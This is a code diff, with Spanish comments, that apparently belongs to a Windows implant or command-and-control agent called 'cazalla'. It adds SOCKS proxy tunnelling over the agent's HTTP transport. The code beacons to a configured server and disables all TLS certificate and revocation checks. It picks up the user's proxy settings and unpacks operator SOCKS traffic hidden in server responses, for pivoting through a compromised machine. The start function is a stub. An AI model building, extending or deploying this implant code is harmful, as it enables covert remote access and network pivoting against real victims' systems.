|
||||||
|
/* === Stubs start/stop === */
|
||||||
|
int socks_manager_start_proxy(uint16_t local_port) {
|
||||||
|
socks_proxy_active = 1;
|
||||||
|
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port);
|
||||||
|
(void)local_port;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int socks_manager_stop_proxy(void) {
|
||||||
|
DBG_PRINTF("socks_manager_stop_proxy()");
|
||||||
|
socks_proxy_active = 0;
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#ifndef SOCKS_MANAGER_H
|
||||||
|
#define SOCKS_MANAGER_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
/* ==== Estructura básica de mensaje SOCKS ==== */
|
||||||
|
typedef struct socks_msg_s {
|
||||||
|
uint32_t server_id;
|
||||||
|
int exit_flag;
|
||||||
|
unsigned char *data;
|
||||||
|
size_t data_len;
|
||||||
|
} socks_msg_t;
|
||||||
|
|
||||||
|
/* ==== Callbacks ==== */
|
||||||
|
typedef void (*socks_send_cb_t)(
|
||||||
|
uint32_t server_id,
|
||||||
|
int exit_flag,
|
||||||
|
const unsigned char *data,
|
||||||
|
size_t data_len,
|
||||||
|
void *ctx
|
||||||
|
);
|
||||||
|
|
||||||
|
/* ==== Estado global ==== */
|
||||||
|
extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo
|
||||||
|
|
||||||
|
/* ==== API pública ==== */
|
||||||
|
void socks_manager_init(void);
|
||||||
|
void socks_manager_cleanup(void);
|
||||||
|
|
||||||
|
int socks_manager_process_incoming(
|
||||||
|
uint32_t server_id,
|
||||||
|
int exit_flag,
|
||||||
|
const unsigned char *data,
|
||||||
|
size_t data_len
|
||||||
|
);
|
||||||
|
|
||||||
|
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx);
|
||||||
|
|
||||||
|
int socks_manager_start_proxy(uint16_t local_port);
|
||||||
|
int socks_manager_stop_proxy(void);
|
||||||
|
|
||||||
|
#endif /* SOCKS_MANAGER_H */
|
||||||
@@ -1,15 +1,47 @@
|
|||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
|
||||||
|
#define _WIN32_WINNT 0x0602
|
||||||
|
#include <winhttp.h>
|
||||||
|
|
||||||
|
#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
|
||||||
|
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* =======================================================
|
||||||
|
Obtener código de estado HTTP
|
||||||
|
======================================================= */
|
||||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||||
|
DWORD codigoDeEstado = 0;
|
||||||
DWORD codigoDeEstado = 0;
|
DWORD tamanoEstado = sizeof(DWORD);
|
||||||
DWORD tamanoEstado = sizeof(DWORD);
|
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||||
return 0;
|
return 0;
|
||||||
return codigoDeEstado;
|
return codigoDeEstado;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* =======================================================
|
||||||
|
Procesar tráfico SOCKS desde respuesta HTTP
|
||||||
|
======================================================= */
|
||||||
|
static VOID procesarSocksEntrante(PAnalizador respuesta) {
|
||||||
|
/* Placeholder desactivado: la estructura Analizador no define bloques.
|
||||||
|
Mantener función para futuras extensiones sin romper build. */
|
||||||
|
(void)respuesta;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* =======================================================
|
||||||
|
Petición HTTP (envío + recepción)
|
||||||
|
======================================================= */
|
||||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||||
|
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||||
PVOID respBuffer = NULL;
|
PVOID respBuffer = NULL;
|
||||||
@@ -17,11 +49,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
UCHAR buffer[1024] = { 0 };
|
UCHAR buffer[1024] = { 0 };
|
||||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||||
|
|
||||||
// Configuración de Proxy
|
|
||||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||||
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
|
||||||
|
|
||||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||||
@@ -35,31 +64,65 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Crear sesión HTTP
|
printf("[TRANSPORTE] WinHttpOpen()\n");
|
||||||
|
fflush(stdout);
|
||||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||||
if (!hSesion) return NULL;
|
if (!hSesion) {
|
||||||
|
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
printf("[TRANSPORTE] WinHttpOpen OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
// Conectar al servidor
|
printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp);
|
||||||
|
fflush(stdout);
|
||||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||||
if (!hConexion) return NULL;
|
if (!hConexion) {
|
||||||
|
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
printf("[TRANSPORTE] WinHttpConnect OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
// Crear petición HTTP/HTTPS
|
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
|
||||||
|
cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags);
|
||||||
|
fflush(stdout);
|
||||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||||
if (!hPeticion) return NULL;
|
if (!hPeticion) {
|
||||||
|
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
WinHttpCloseHandle(hConexion);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
printf("[TRANSPORTE] WinHttpOpenRequest OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
// Configurar opciones de seguridad si es HTTPS
|
|
||||||
if (cazallaConfig->SSL) {
|
if (cazallaConfig->SSL) {
|
||||||
|
printf("[TRANSPORTE] Configurando opciones SSL\n");
|
||||||
|
fflush(stdout);
|
||||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||||
|
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
|
||||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
} else {
|
||||||
|
printf("[TRANSPORTE] SSL flags configurados OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
// También configurar para deshabilitar revocación de certificados
|
||||||
|
DWORD dwEnableSSLRevocCheck = 0;
|
||||||
|
WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Configurar proxy si está habilitado
|
|
||||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||||
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||||
@@ -67,57 +130,156 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Enviar la petición
|
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
|
||||||
|
fflush(stdout);
|
||||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||||
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
WinHttpCloseHandle(hPeticion);
|
||||||
|
WinHttpCloseHandle(hConexion);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
printf("[TRANSPORTE] WinHttpSendRequest OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
// Recibir respuesta
|
printf("[TRANSPORTE] Esperando respuesta...\n");
|
||||||
|
fflush(stdout);
|
||||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||||
_err("Error al recibir respuesta HTTP\n");
|
printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError());
|
||||||
|
fflush(stdout);
|
||||||
|
WinHttpCloseHandle(hPeticion);
|
||||||
|
WinHttpCloseHandle(hConexion);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||||
|
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
|
||||||
|
fflush(stdout);
|
||||||
if (codigoDeEstado != 200) {
|
if (codigoDeEstado != 200) {
|
||||||
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
|
||||||
|
fflush(stdout);
|
||||||
|
WinHttpCloseHandle(hPeticion);
|
||||||
|
WinHttpCloseHandle(hConexion);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
printf("[TRANSPORTE] HTTP status OK (200)\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
// Leer respuesta
|
|
||||||
do {
|
do {
|
||||||
dwTamano = 1024;
|
dwTamano = 1024;
|
||||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||||
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
_err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
|
||||||
return NULL;
|
break;
|
||||||
}
|
}
|
||||||
|
if (dwTamano == 0) break;
|
||||||
|
|
||||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||||
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
_err("WinHttpReadData falló (%lu)\n", GetLastError());
|
||||||
return NULL;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
respSize += dwDescargado;
|
respSize += dwDescargado;
|
||||||
if (!respBuffer) {
|
respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
|
||||||
respBuffer = LocalAlloc(LPTR, respSize);
|
: LocalAlloc(LPTR, respSize);
|
||||||
}
|
|
||||||
else {
|
|
||||||
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
|
||||||
}
|
|
||||||
|
|
||||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||||
memset(buffer, 0, 1024);
|
printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize);
|
||||||
|
fflush(stdout);
|
||||||
|
memset(buffer, 0, sizeof(buffer));
|
||||||
} while (dwTamano > 0);
|
} while (dwTamano > 0);
|
||||||
|
|
||||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize);
|
||||||
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
fflush(stdout);
|
||||||
}
|
WinHttpCloseHandle(hPeticion);
|
||||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
WinHttpCloseHandle(hConexion);
|
||||||
|
WinHttpCloseHandle(hSesion);
|
||||||
|
|
||||||
|
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||||
|
|
||||||
|
/* Desempaquetar bloque de extensión SOCKS si está presente al final:
|
||||||
|
[ ... base message ... ][0xF5][Int32 ext_len][ext_bytes]
|
||||||
|
donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64]
|
||||||
|
*/
|
||||||
|
printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0);
|
||||||
|
fflush(stdout);
|
||||||
|
if (analizador && analizador->tamano >= 1 + 4) {
|
||||||
|
SIZE_T i = analizador->tamano;
|
||||||
|
/* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */
|
||||||
|
PBYTE buf = analizador->original;
|
||||||
|
SIZE_T len = analizador->tamano;
|
||||||
|
if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||||
|
/* This backwards check is brittle; instead, scan from start for marker */
|
||||||
|
}
|
||||||
|
SIZE_T cursor = 0;
|
||||||
|
while (cursor + 5 <= len) {
|
||||||
|
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||||
|
printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
|
||||||
|
fflush(stdout);
|
||||||
|
if (cursor + 5 > len) break;
|
||||||
|
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||||
|
printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len);
|
||||||
|
fflush(stdout);
|
||||||
|
if (cursor + 5 + ext_len > len) break;
|
||||||
|
SIZE_T ecur = cursor + 5;
|
||||||
|
SIZE_T eend = cursor + 5 + ext_len;
|
||||||
|
while (ecur + 9 <= eend) {
|
||||||
|
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||||
|
BYTE exitf = buf[ecur+4];
|
||||||
|
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||||
|
printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len);
|
||||||
|
fflush(stdout);
|
||||||
|
ecur += 9;
|
||||||
|
if (ecur + b64len > eend) break;
|
||||||
|
unsigned char *raw = NULL; size_t raw_len = 0;
|
||||||
|
char *b64str = NULL;
|
||||||
|
if (b64len > 0) {
|
||||||
|
b64str = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||||
|
if (!b64str) break;
|
||||||
|
memcpy(b64str, buf + ecur, b64len);
|
||||||
|
b64str[b64len] = '\0';
|
||||||
|
printf("[TRANSPORTE] Decodificando base64: %s\n", b64str);
|
||||||
|
fflush(stdout);
|
||||||
|
base64_decode(b64str, &raw, &raw_len);
|
||||||
|
printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len);
|
||||||
|
fflush(stdout);
|
||||||
|
LocalFree(b64str);
|
||||||
|
}
|
||||||
|
printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
|
||||||
|
fflush(stdout);
|
||||||
|
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||||
|
if (raw) LocalFree(raw);
|
||||||
|
ecur += b64len;
|
||||||
|
}
|
||||||
|
/* remove extension from the analyzer's view */
|
||||||
|
analizador->tamano = cursor; /* trim at marker */
|
||||||
|
printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor);
|
||||||
|
fflush(stdout);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
cursor++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return analizador;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* =======================================================
|
||||||
|
Función principal de transporte (puente con el resto)
|
||||||
|
======================================================= */
|
||||||
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||||
#ifdef HTTP_TRANSPORT
|
#ifdef HTTP_TRANSPORT
|
||||||
return realizarPeticionHTTP(datos, tamano);
|
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano);
|
||||||
|
fflush(stdout);
|
||||||
|
return realizarPeticionHTTP(datos, (UINT32)tamano);
|
||||||
|
#else
|
||||||
|
return NULL;
|
||||||
#endif
|
#endif
|
||||||
return NULL;
|
}
|
||||||
}
|
|
||||||
|
|||||||
@@ -6,6 +6,7 @@
|
|||||||
#include <winhttp.h>
|
#include <winhttp.h>
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
#include "socks_manager.h" // <— añadido
|
||||||
|
|
||||||
#pragma comment(lib, "winhttp.lib")
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
@@ -13,4 +14,4 @@
|
|||||||
|
|
||||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,5 +1,11 @@
|
|||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||||
@@ -10,26 +16,20 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
|||||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
size_t b64tamanoCodificado(size_t inlen) {
|
size_t b64tamanoCodificado(size_t inlen) {
|
||||||
|
|
||||||
size_t ret;
|
size_t ret;
|
||||||
|
|
||||||
ret = inlen;
|
ret = inlen;
|
||||||
if (inlen % 3 != 0)
|
if (inlen % 3 != 0)
|
||||||
ret += 3 - (inlen % 3);
|
ret += 3 - (inlen % 3);
|
||||||
ret /= 3;
|
ret /= 3;
|
||||||
ret *= 4;
|
ret *= 4;
|
||||||
|
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
int aleatorioInt32(int min, int max) {
|
int aleatorioInt32(int min, int max) {
|
||||||
|
|
||||||
return (rand() % (max - min + 1)) + min;
|
return (rand() % (max - min + 1)) + min;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||||
|
|
||||||
char* out;
|
char* out;
|
||||||
SIZE_T elen;
|
SIZE_T elen;
|
||||||
SIZE_T i;
|
SIZE_T i;
|
||||||
@@ -48,7 +48,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
|||||||
out[elen] = '\0';
|
out[elen] = '\0';
|
||||||
|
|
||||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||||
|
|
||||||
v = in[i];
|
v = in[i];
|
||||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||||
@@ -56,18 +55,13 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
|||||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||||
if (i + 1 < len) {
|
if (i + 1 < len) {
|
||||||
|
|
||||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
|
|
||||||
out[j + 2] = '=';
|
out[j + 2] = '=';
|
||||||
}
|
}
|
||||||
if (i + 2 < len) {
|
if (i + 2 < len) {
|
||||||
|
|
||||||
out[j + 3] = b64chars[v & 0x3F];
|
out[j + 3] = b64chars[v & 0x3F];
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
out[j + 3] = '=';
|
out[j + 3] = '=';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -76,7 +70,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||||
|
|
||||||
SIZE_T len;
|
SIZE_T len;
|
||||||
SIZE_T ret;
|
SIZE_T ret;
|
||||||
SIZE_T i;
|
SIZE_T i;
|
||||||
@@ -91,8 +84,7 @@ SIZE_T b64tamanoDecodificado(const char* in) {
|
|||||||
for (i = len; i-- > 0; ) {
|
for (i = len; i-- > 0; ) {
|
||||||
if (in[i] == '=') {
|
if (in[i] == '=') {
|
||||||
ret--;
|
ret--;
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -101,28 +93,14 @@ SIZE_T b64tamanoDecodificado(const char* in) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
int b64IsValidChar(char c) {
|
int b64IsValidChar(char c) {
|
||||||
|
if (c >= '0' && c <= '9') return 1;
|
||||||
if (c >= '0' && c <= '9') {
|
if (c >= 'A' && c <= 'Z') return 1;
|
||||||
return 1;
|
if (c >= 'a' && c <= 'z') return 1;
|
||||||
}
|
if (c == '+' || c == '/' || c == '=') return 1;
|
||||||
|
|
||||||
if (c >= 'A' && c <= 'Z') {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (c >= 'a' && c <= 'z') {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (c == '+' || c == '/' || c == '=') {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||||
|
|
||||||
SIZE_T len;
|
SIZE_T len;
|
